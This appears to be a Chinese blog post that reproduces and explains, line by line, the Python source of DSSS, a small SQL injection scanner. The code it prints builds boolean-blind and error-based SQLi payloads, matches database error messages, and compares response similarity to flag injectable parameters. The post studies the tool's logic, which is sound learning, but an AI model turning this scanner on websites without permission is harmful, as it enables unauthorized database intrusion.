项目地址:https://github.com/stamparm/DSSS

功能:一款小型注入工具

代码如下URL:https://github.com/stamparm/DSSS/blob/master/dsss.py

 if __name__ == "__main__":
print "%s #v%s\n by: %s\n" % (NAME, VERSION, AUTHOR)
parser = optparse.OptionParser(version=VERSION)
parser.add_option("-u", "--url", dest="url", help="Target URL (e.g. \"http://www.target.com/page.php?id=1\")")
parser.add_option("--data", dest="data", help="POST data (e.g. \"query=test\")")
parser.add_option("--cookie", dest="cookie", help="HTTP Cookie header value")
parser.add_option("--user-agent", dest="ua", help="HTTP User-Agent header value")
parser.add_option("--referer", dest="referer", help="HTTP Referer header value")
parser.add_option("--proxy", dest="proxy", help="HTTP proxy address (e.g. \"http://127.0.0.1:8080\")")
options, _ = parser.parse_args()
if options.url:
init_options(options.proxy, options.cookie, options.ua, options.referer)
result = scan_page(options.url if options.url.startswith("http") else "http://%s" % options.url, options.data)
print "\nscan results: %s vulnerabilities found" % ("possible" if result else "no")
else:
parser.print_help()

用parser这个库 来加载参数,看到第11行,如果请求的参数中存在url才往下执行这个if命令,否则打印帮助。

看到第12行。用init_options() 这个行数来加载 proxy(代理),cookie,ua,referer。

  

 def init_options(proxy=None, cookie=None, ua=None, referer=None):
globals()["_headers"] = dict(filter(lambda _: _[1], ((COOKIE, cookie), (UA, ua or NAME), (REFERER, referer))))
urllib2.install_opener(urllib2.build_opener(urllib2.ProxyHandler({'http': proxy})) if proxy else None)

解释第二行:globals()  返回的是全局变量的字典,修改其中的内容,值会真正的发生改变。所以在这里修改的是_headers字典的值,接在在看后面的值,看起来好像很复杂,其实用下面四句话就能理解了。

iterable=(('aa', None), ('bb', ''), ('cc', ''))
x = lambda _: _[1]
z = dict(item for item in iterable if x(item))
print(z)

判断_[1] 是否为FALSE,FALSE就舍弃。ps:这部分学习到了 还能这么用filter+lambda来操作dict。

往回看到第三行,存在proxy(代理)就添加到handler中去。这个函数讲完了,继续往回追,代码进入到了scan_page()函数中,这个函数应该是重点了。

result = scan_page(options.url if options.url.startswith("http") else "http://%s" % options.url, options.data)

根据逗号判断传了两参数进去 一个是options.url,一个是options.data

 def scan_page(url, data=None):
retval, usable = False, False
url, data = re.sub(r"=(&|\Z)", "=1\g<1>", url) if url else url, re.sub(r"=(&|\Z)", "=1\g<1>", data) if data else data
try:
for phase in (GET, POST):
original, current = None, url if phase is GET else (data or "")
for match in re.finditer(r"((\A|[?&])(?P<parameter>[^_]\w*)=)(?P<value>[^&#]+)", current):
vulnerable, usable = False, True
print "* scanning %s parameter '%s'" % (phase, match.group("parameter"))
original = original or (_retrieve_content(current, data) if phase is GET else _retrieve_content(url, current))
tampered = current.replace(match.group(0), "%s%s" % (match.group(0), urllib.quote("".join(random.sample(TAMPER_SQL_CHAR_POOL, len(TAMPER_SQL_CHAR_POOL))))))
content = _retrieve_content(tampered, data) if phase is GET else _retrieve_content(url, tampered)
for (dbms, regex) in ((dbms, regex) for dbms in DBMS_ERRORS for regex in DBMS_ERRORS[dbms]):
if not vulnerable and re.search(regex, content[HTML], re.I) and not re.search(regex, original[HTML], re.I):
print " (i) %s parameter '%s' appears to be error SQLi vulnerable (%s)" % (phase, match.group("parameter"), dbms)
retval = vulnerable = True
vulnerable = False
for prefix, boolean, suffix, inline_comment in itertools.product(PREFIXES, BOOLEAN_TESTS, SUFFIXES, (False, True)):
if not vulnerable:
template = ("%s%s%s" % (prefix, boolean, suffix)).replace(" " if inline_comment else "/**/", "/**/")
payloads = dict((_, current.replace(match.group(0), "%s%s" % (match.group(0), urllib.quote(template % (RANDINT if _ else RANDINT + 1, RANDINT), safe='%')))) for _ in (True, False))
contents = dict((_, _retrieve_content(payloads[_], data) if phase is GET else _retrieve_content(url, payloads[_])) for _ in (False, True))
if all(_[HTTPCODE] and _[HTTPCODE] < httplib.INTERNAL_SERVER_ERROR for _ in (original, contents[True], contents[False])):
if any(original[_] == contents[True][_] != contents[False][_] for _ in (HTTPCODE, TITLE)):
vulnerable = True
else:
ratios = dict((_, difflib.SequenceMatcher(None, original[TEXT], contents[_][TEXT]).quick_ratio()) for _ in (False, True))
vulnerable = all(ratios.values()) and min(ratios.values()) < FUZZY_THRESHOLD < max(ratios.values()) and abs(ratios[True] - ratios[False]) > FUZZY_THRESHOLD / 10
if vulnerable:
print " (i) %s parameter '%s' appears to be blind SQLi vulnerable (e.g.: '%s')" % (phase, match.group("parameter"), payloads[True])
retval = True
if not usable:
print " (x) no usable GET/POST parameters found"
except KeyboardInterrupt:
print "\r (x) Ctrl-C pressed"
return retval

一句一句来分析:

url, data = re.sub(r"=(&|\Z)", "=1\g<1>", url) if url else url, re.sub(r"=(&|\Z)", "=1\g<1>", data) if data else data
寻找等号后面是&或结尾符 替换成=1 ,整句的意思就是如果存在url就用正则去替换,否则返回url,
  • re.sub(pattern, repl, string, count=0, flags=0)

  • 当repl是一个字符串时,\g<name>对象的是(?p<name>...)\g<number>会使用对应的数字组,因此\g<2>\2是等同的。但是不会引起歧义,例如\g<2>0会被翻译成\20而不是2加上一个字符0\g<0>代替整个匹配的字符串
  • 寻找的时候发现一个python中文文档网站:https://www.rddoc.com/doc/Python/3.6.0/zh/library/
for match in re.finditer(r"((\A|[?&])(?P<parameter>[^_]\w*)=)(?P<value>[^&#]+)", current):

大概的意思是匹配以?或&开头的,然后匹配parameter和value,其中parameter为不匹配以下划线_开头的字符串,其中字符串为[a-zA-Z0-9_],value为不包含&和#的字符串。
original = original or (_retrieve_content(current, data) if phase is GET else _retrieve_content(url, current))

进入了_retrieve_content()函数,or 后面的这段理解起来就是 如果是GET方式,就返回_retrieve_content(current, data) ,而这里的current为url,data为None
如果是POST方式:返回_retrieve_content(url, current) 这里的url是url,而current为POST_Body,也就是POST过来的数据。

    下面来看_retrieve_content()函数,一次性讲完。

def _retrieve_content(url, data=None):
retval = {HTTPCODE: httplib.OK}
try:
req = urllib2.Request("".join(url[_].replace(' ', "%20") if _ > url.find('?') else url[_] for _ in range(len(url))), data, globals().get("_headers", {}))
retval[HTML] = urllib2.urlopen(req, timeout=TIMEOUT).read()
except Exception as ex:
retval[HTTPCODE] = getattr(ex, "code", None)
retval[HTML] = ex.read() if hasattr(ex, "read") else getattr(ex, "msg", "")
retval[HTML] = "" if re.search(BLOCKED_IP_REGEX, retval[HTML]) else retval[HTML]
retval[HTML] = re.sub(r"(?i)[^>]*(AND|OR)[^<]*%d[^<]*" % RANDINT, "__REFLECTED__", retval[HTML])
match = re.search(r"<title>(?P<result>[^<]+)</title>", retval[HTML], re.I)
retval[TITLE] = match.group("result") if match and "result" in match.groupdict() else None
retval[TEXT] = re.sub(r"(?si)<script.+?</script>|<!--.+?-->|<style.+?</style>|<[^>]+>|\s+", " ", retval[HTML])
return retval
--------------------------------------------------------------------------------------
url[_].replace(' ', "%20") if _ > url.find('?') else url[_] for _ in range(len(url)) 生成器:从右往左开始读, 查找第一个?出现的位置并返回索引值,
然后判断?号后面的字符串是否存在空格,空格就替换成%20
globals().get("_headers", {}) 判断是否存在_header字典,不存在返回空{} ,
然后去请求,返回请求后的html_content。
     retval[HTML] = "" if re.search(BLOCKED_IP_REGEX, retval[HTML]) else retval[HTML]
retval[HTML] = re.sub(r"(?i)[^>]*(AND|OR)[^<]*%d[^<]*" % RANDINT, "__REFLECTED__", retval[HTML])
match = re.search(r"<title>(?P<result>[^<]+)</title>", retval[HTML], re.I)
retval[TITLE] = match.group("result") if match and "result" in match.groupdict() else None
retval[TEXT] = re.sub(r"(?si)<script.+?</script>|<!--.+?-->|<style.+?</style>|<[^>]+>|\s+", " ", retval[HTML])

接着来了几个判断,如果html_content中有存在BLOCKED_IP_REGEX关键字的话,将html_content设为空''

BLOCKED_IP_REGEX = r"(?i)(\A|\b)IP\b.*\b(banned|blocked|bl(a|o)ck\s?list|firewall)"  #这里可定制国内的防火墙关键字。
retval[HTML] = re.sub(r"(?i)[^>]*(AND|OR)[^<]*%d[^<]*" % RANDINT, "__REFLECTED__", retval[HTML]) #匹配and RANDINT ,其中and RANDINT中间不能有<号,如果匹配到则把匹配到的替换成__REFLECTED__
match = re.search(r"<title>(?P<result>[^<]+)</title>", retval[HTML], re.I)  #匹配标题,并且标题中不能出现<号
retval[TEXT] = re.sub(r"(?si)<script.+?</script>|<!--.+?-->|<style.+?</style>|<[^>]+>|\s+", " ", content) #将大部分的标签替换成空格
最后返回retval赋值给original,最终包含这几个:
HTML,TEXT,TITLE,HTTPCODE

接着继续往下看:

 tampered = current.replace(match.group(0), "%s%s" % (match.group(0), urllib.quote("".join(random.sample(TAMPER_SQL_CHAR_POOL, len(TAMPER_SQL_CHAR_POOL))))))
content = _retrieve_content(tampered, data) if phase is GET else _retrieve_content(url, tampered) 给参数添加额外的随机值,编码额外的随机值 随机值在这四个字符 TAMPER_SQL_CHAR_POOL = ('(', ')', '\'', '"') %22%28%29%27
然后给添加后的随机值参数继续进行url请求
for (dbms, regex) in ((dbms, regex) for dbms in DBMS_ERRORS for regex in DBMS_ERRORS[dbms]):

DBMS_ERRORS = {                                                                     # regular expressions used for DBMS recognition based on error message response
"MySQL": (r"SQL syntax.*MySQL", r"Warning.*mysql_.*", r"valid MySQL result", r"MySqlClient\."),
"PostgreSQL": (r"PostgreSQL.*ERROR", r"Warning.*\Wpg_.*", r"valid PostgreSQL result", r"Npgsql\."),
"Microsoft SQL Server": (r"Driver.* SQL[\-\_\ ]*Server", r"OLE DB.* SQL Server", r"(\W|\A)SQL Server.*Driver", r"Warning.*mssql_.*", r"(\W|\A)SQL Server.*[0-9a-fA-F]{8}", r"(?s)Exception.*\WSystem\.Data\.SqlClient\.", r"(?s)Exception.*\WRoadhouse\.Cms\."),
"Microsoft Access": (r"Microsoft Access Driver", r"JET Database Engine", r"Access Database Engine"),
"Oracle": (r"\bORA-[0-9][0-9][0-9][0-9]", r"Oracle error", r"Oracle.*Driver", r"Warning.*\Woci_.*", r"Warning.*\Wora_.*"),
"IBM DB2": (r"CLI Driver.*DB2", r"DB2 SQL error", r"\bdb2_\w+\("),
"SQLite": (r"SQLite/JDBCDriver", r"SQLite.Exception", r"System.Data.SQLite.SQLiteException", r"Warning.*sqlite_.*", r"Warning.*SQLite3::", r"\[SQLITE_ERROR\]"),
"Sybase": (r"(?i)Warning.*sybase.*", r"Sybase message", r"Sybase.*Server message.*"),
}
大概就是轮训每个value,将key对应轮训的value。

接着往下看:

 if not vulnerable and re.search(regex, content[HTML], re.I) and not re.search(regex, original[HTML], re.I):
print(" (i) %s parameter '%s' appears to be error SQLi vulnerable (%s)" % (phase, match.group("parameter"), dbms))
retval = vulnerable = True
vulnerable默认为False , 去寻找特殊字符请求的url content,regex出现在content中,还有regex没出现在正常请求的content中,那么就代表存在注入。
并设置retval和vulnerable为True,vulnerable为True以后不再进入这个if判断。

继续往下:

  for prefix, boolean, suffix, inline_comment in itertools.product(PREFIXES, BOOLEAN_TESTS, SUFFIXES, (False, True)):
PREFIXES = (" ", ") ", "' ", "') ")
BOOLEAN_TESTS = ("AND %d=%d", "OR NOT (%d>%d)")   
SUFFIXES = ("", "-- -", "#", "%%16") 

生成payload,总的是32个组合,64个,
 if not vulnerable:
template = ("%s%s%s" % (prefix, boolean, suffix)).replace(" " if inline_comment else "/**/", "/**/")
payloads = dict((_, current.replace(match.group(0), "%s%s" % (match.group(0), urllib.quote(template % (RANDINT if _ else RANDINT + 1, RANDINT), safe='%')))) for _ in (True, False))
contents = dict((_, _retrieve_content(payloads[_], data) if phase is GET else _retrieve_content(url, payloads[_])) for _ in (False, True))
if all(_[HTTPCODE] and _[HTTPCODE] < httplib.INTERNAL_SERVER_ERROR for _ in (original, contents[True], contents[False])):
if any(original[_] == contents[True][_] != contents[False][_] for _ in (HTTPCODE, TITLE)):
vulnerable = True
else:
ratios = dict((_, difflib.SequenceMatcher(None, original[TEXT], contents[_][TEXT]).quick_ratio()) for _ in (False, True))
vulnerable = all(ratios.values()) and min(ratios.values()) < FUZZY_THRESHOLD < max(ratios.values()) and abs(ratios[True] - ratios[False]) > FUZZY_THRESHOLD / 10
if vulnerable:
print(" (i) %s parameter '%s' appears to be blind SQLi vulnerable (e.g.: '%s')" % (phase, match.group("parameter"), payloads[True]))
retval = True

第二行把inline_comment 为True的空格替换成/**/ ,也就是一半payload是空格,一半payload是/**/

第三行给template 赋随机的数字然后url编码(对%不编码),接着再次分 and 1=1 和and 1=2 然后添加到url参数中,并标记False和True,到现在总的payload有120个

第四行带着and 1=1 和 and 1=2 类似的payload去请求返回contents,其中and 1=1是contents[True], and 1=2是contents[False]

第五行看三个content的返回状态值。如果三次请求中有个状态值大于500就返回False

第六行的判断大概是下面两个,满足其一就代表有注入,通过状态码的不同和标题的不同来判断,也就是正常请求和and 1=1 的请求的状态码一样 and 1=2 的状态码不一样,还有正常请求和and 1=1 的TITLE一样,和 and 1=2不一样。 这里的五六行通过all和any来做选择,可以学一下。

original[HTTPCODE] == contents[True][HTTPCODE] != contents[False][HTTPCODE]
original[TITLE] == contents[True][TITLE] != contents[False][TITLE]

如果通过第六行对比状态码和标题返回是False的话,那么就对三个content进行对比,返回其相似程度。

 ratios = dict((_, difflib.SequenceMatcher(None, original[TEXT], contents[_][TEXT]).quick_ratio()) for _ in (False, True))
vulnerable = all(ratios.values()) and min(ratios.values()) < FUZZY_THRESHOLD < max(ratios.values()) and abs(ratios[True] - ratios[False]) > FUZZY_THRESHOLD / 10

1.两次中每次的相似度都不为0,

2.并且最小的相似度和最大的相似度要在0.95之间,

3.还有就是两者的相似度之差要大于0.095 。

同时满足这三个条件也算是存在注入

到这里就分析完了,来回想下这个工具的大概思路。

程序运行开始,可能传进来的值总结来说有4个:url,header ,post_data , proxy 。ps:这里能改进的地方就是多穿一个method进来,让程序直接分辨出是GET,POST

然后对其进行参数分割,分两块:

  1.get的参数分割

  2.post_data的参数分割。

分割完如果没有值的参数补上参数值等于1,然后第一次去请求,记录下请求的content值,title值,状态码, content的过滤值(这里指过滤<>里面的值,大概是下面这段正则

retval[TEXT] = re.sub(r"(?si)<script.+?</script>|<!--.+?-->|<style.+?</style>|<[^>]+>|\s+", " ", retval[HTML])

每次的请求都会记录下这四个值,

这时候会对参数添加 ()"' 这四个字符串随机组合,如果返回的页面有存在 DBMS_ERRORS ,那么就存在报错注入,这时候就可以停止后面的检测了,但是他没停下来,改的时候可以注意下这里是否需要停下来不检测后面的。

接着就开始生成payload,大概有32个payload,但是不需要都跑完,跑到一次正确的后面的就不用在跑了。

这里他的payload又分为两种:

  1.存在空格的payload

  2.将空格替换成/**/的payload

这时候要请求的payload又变成了64个。

然后请求的时候对 and 1=1 and 1=2 各检测一次来对比,请求有三个。

  1.第一次正常的请求

  2.请求参数加and 1=1

  3.请求参数加and 1=2

1.通过请求这三次的TITLE值来对比, 第一个和第二个相同,第二个和第三个的TITLE值不相同,就判断为注入。

2.通过请求这三次的HTTPCODE值来对比,第一个和第二个相同,第二个和第三个的HTTPCODE值不相同,就判断为注入。

3.如果上面两种方式没通过,通过请求这三次的content的过滤值来对比:

  1.两次中每次的相似度都不为0,

  2.并且最小的相似度和最大的相似度要在0.95之间,

  3.还有就是两者的相似度之差要大于0.095 。

上面三种方式有一个通过就算注入。

如果第一个参数不存在注入,他的payload有64个,那么总的请求数为,1+1+128 = 130次,如果有两个参数都不存在注入,那他的请求数为1+1+128+128 =258 ,还是比较废资源的。

如果用python3.6重写,那么要注意的地方就是上面的请求数量,还有对于多个参数如何去进行请求来加快寻找出注入,盲注怎么来。

简写下思路,一个好的注入工具就是 能准确判断存在注入的前提下,减少对网站的请求数。

修改成支持python3.6的,现在就开始写,先发出来。

阅读DSSS.py 并修改成支持python3.6的更多相关文章

  1. 百度编辑器UEditor修改成支持物理路径

    一.前言 我虽然工作了2年.有快1年没有做后台的开发了.最近要写个新项目用到富文本编辑器,然后选择用了百度的UEditor.在使用过程中感觉有些不太好.然后就自己手动改一下源码,写得不好请见谅.这只是 ...

  2. Live555 的一个缺陷–例子不能支持多线程(已经修改成支持多线程)

    我对Live555进行了一次封装,但是Live555 是单线程的,里面定义的全局变量太多,我封装好dll库后,在客户端调用,因为多个对话框中要使用码流,我就定义了多个对象从设备端接收码流,建立多个连接 ...

  3. 如何将python3.6软件的py文件打包成exe程序

    在我们完成一个Python项目或一个程序时,希望将Python的py文件打包成在Windows系统下直接可以运行的exe程序.在浏览网上的资料来看,有利用pyinstaller和cx_Freeze进行 ...

  4. HTMLTestRunner修改成Python3版本

    修改前:HTMLTestRunner下载地址:http://tungwaiyip.info/software/HTMLTestRunner.html BSTestRunner     下载地址:htt ...

  5. 用启动器py成功解决python2和python3同时共存且同时运行的问题

    缘起:之前一直用PHP来开发微信公众号后台,最近正在学习python,而且看到微信官方也把公众号后台的示例代码换成了python的,但是示例中用的web.py需要用到python2,而我自己的电脑上装 ...

  6. 阿里云 rds python sdk不支持python3处理

    阿里云文档中心的python版本aliyun-python-sdk-rds不支持python3处理 问题:默认情况下文档中心的python版本只支持python2,不兼容python3版本 需要稍微修 ...

  7. ubuntu将python3设为默认后再安装支持python3.x的包

    简介: ubuntu默认python2.7版本,如果想要装python3.x版本,请记住python2.7版本一定不能卸载!!!但是即使我 python3.x版本安装成功,当运行python脚本时,系 ...

  8. Linux --- vim 安装、支持python3的配置、插件自动补全YCM的安装配置及全过程错误总结

    1.git(用来下载vim和相关插件) sudo apt-get install git 2,cmake(用来编译clang-llvm) sudo apt-get install build-esse ...

  9. 使用supervisor支持Python3程序 (解决找不到Module的问题)

    Supervisor是python2写就的一款强大的运维工具(其实现在已经支持Python3了 https://github.com/Supervisor/supervisor)那么怎么利用Super ...

随机推荐

  1. JavaScript(第三十三天)【总结:封装基础前端框架】

    源码地址:https://github.com/whisper540/Base

  2. alpha冲刺第二天

    一.合照 二.项目燃尽图 三.项目进展 图形界面基本完成 接口文档框架完成,接下来将会不断细化填充 登录界面向服务器请求数据进行ing 四.明日规划 1.注册登录接口能够完成 2.研究idea实现获得 ...

  3. C语言第二次博客作业——分支结构

    一.PTA实验作业 题目1:计算分段函数 1.实验代码 #include<stdio.h> #include<math.h> int main(void) { double x ...

  4. 敏捷冲刺每日报告——Day5

    1.情况简述 Alpha阶段第一次Scrum Meeting 敏捷开发起止时间 2017.10.29 00:00 -- 2017.10.30 00:00 讨论时间地点 2017.10.29晚6:00, ...

  5. Java暑假作业

    一.电影观后感 电影<摔跤吧!爸爸>观后感 二.下学期的计划与目标 大一学年总结: 参与了大大小小的学院活动,例如机器人搭建.辩论赛,也参加了学生会的部门,参与了组织活动.通过参与活动获 ...

  6. Flask学习 一 基本结构

    -from flask import Flask +from flask import Flask,render_template -from flask import request -from f ...

  7. 一句话了解JAVA与大数据之间的关系

    大数据无疑是目前IT领域的最受关注的热词之一.几乎凡事都要挂上点大数据,否则就显得你OUT了.如果再找一个可以跟大数据并驾齐驱的IT热词,JAVA无疑是跟大数据并驾齐驱的一个词语.很多人在提到大数据的 ...

  8. mongodb监控工具mongostat

    mongostat的使用及命令详解 mongostat是mongodb自带的状态检测工具,在命令行下使用,会间隔固定时间获取mongodb的当前运行状态,并输出. 1.常用命令格式: mongosta ...

  9. 用nodejs 开发的智能提示

    用nodejs 开发的智能提示 时间:2014-07-01 03:50:18 类别:搜索引擎 访问: 2576 次 感谢:http://lutaf.com/223.htm 智能提示对于搜索非常重要,相 ...

  10. AngularJS1.X学习笔记9-自定义指令(中)

    今天好大的雨啊!上一节中,我们的指令中的工厂函数中都是返回了一个叫做链接函数的工人函数,事实上我们的工厂函数也是可以返回一个对象,这个对象里面可以包含很多的属性,这使得我们可以创建更加强大的指令. 一 ...